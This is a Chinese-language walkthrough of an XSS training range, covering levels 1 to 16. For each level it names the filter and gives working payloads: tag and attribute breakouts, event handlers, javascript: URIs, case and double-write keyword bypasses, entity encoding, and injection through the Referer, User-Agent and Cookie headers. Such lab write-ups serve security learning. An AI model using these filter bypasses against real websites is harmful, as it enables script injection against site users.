XSS靶场练习二

前言

http://test.ctf8.com/

level 1

name变量通过GET方式传入,直接带入到标签中,没有任何过滤。

payload

1
<script>alert(1)</script>

level 2

将第一关的payload带进去,发现输入值被原封不动的输出了。查看页面源代码

发现输入的<、>html编码了。

payload

1
"><script>alert(1)</script>

level 3

输入点(INPUT_POINT)有两处,一处在标签间

1
<h2 align="center">没有找到和INPUT_POINT相关的结果.</h2>

另一处在标签属性处

1
<input name="keyword" value="INPUT_POINT">

对左右尖括号<,>被转化成HTML字符实体(HTML Entity)的情况,想直接构造标签是有难度的(宽字符构造尖括号?)所以从另一处入手。
输入点位于属性内,所以闭合属性并构造新属性,基于事件弹窗。
(然而如果输入点对<,>,’,”都进行了字符实体转换呢)
(构造标签的关键是<,>, 闭合属性的关键是引号)

payload

1
' onclick=alert(1)//

level 4

和 level 3 输出点一致

只是level 3中value='',而level 4中的value="",所以要闭合value上面要用',此处要用"

payload

1
" onclick=alert(1)//

level 5

on 替换为 o_nscript 替换为 sc_ript
因此不能再考虑用事件触发,也不能用script标签触发。

payload

此处的用">截断属性,再用a标签触发
关键在于虽然在h5的内容过滤了,但在属性内未过滤">

1
2
3
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

level 6

在上一关限制的基础上,将所有的属性,如srchref等等都进行转换。

此处可用大小写混合绕过。

payload

1
2
3
"> <a Href="javascript:alert(/1/)">axxx</a>
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //

level 7

href, on, script等关键字被删除了。

此处可用双写关键字绕过

payload

1
2
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //

level 8

属性中双引号被转换成HTML实体,无法截断属性。
由于script关键字被过滤,得考虑绕过方式,使用HTML实体字符绕过
HTML16编码
HTML10编码

payload

1
2
3
4
javascript:alert(/1/)
javascript:%61lert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

level 9

提交参数中必须要有http关键字

payload

记得替换script,比如用&#x72;替换r
%0d%0a,/等有时具有替代空格的作用

1
2
javascript:alert(1)//http://www.0aa.me  //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注释的情况下

level 10

可以看出这里keyword变量依然没戏,被HTML实体化输出了出来,所以重点放在t_sort变量上,只过滤了尖括号,然后就直接输出到了标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的标签使用了type="hidden"将输入框隐藏了起来,可以手动赋值type的值来覆盖掉先前的属性来达到显示文本框的目的。

payload

1
keyword=233&t_sort=" type="" onclick=alert('XSS') //

level 11

与 level 10 类似,寻找新的注入点。
原来的t_sort的双引号被过滤了。
这次注入点是在 HTTP Request Header 请求头的 Refer 字段。

payload

1
" type="text" onmouseover=alert`1` "

level 12

这一题和上一题类似,只是这里的漏洞点出现在了HTTP请求头的User-Agent

payload

1
User-Agent: " type="" onclick=alert('XSS') //

level 13

寻找新的注入点,这次是利用cookie中的参数注入。

payload

1
Cookie: user=" type="" onclick=alert('XSS') //

level 14

看了先知的wp,才知道是图片exif 藏有xss payload。https://xianzhi.aliyun.com/forum/read/1462.html?page=2

level 15

这题考察Angular JSng-include用法,具体可以参考这篇资料:AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。

发现可以包含第一关的页面

payload

1
src=‘level1.php?name=<img src=x onerror=alert(1)>‘

level 16

这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。

可以使用如下符号替代空格

payload

1
keyword=<img%0asrc=x%0aonerror=alert('XSS')>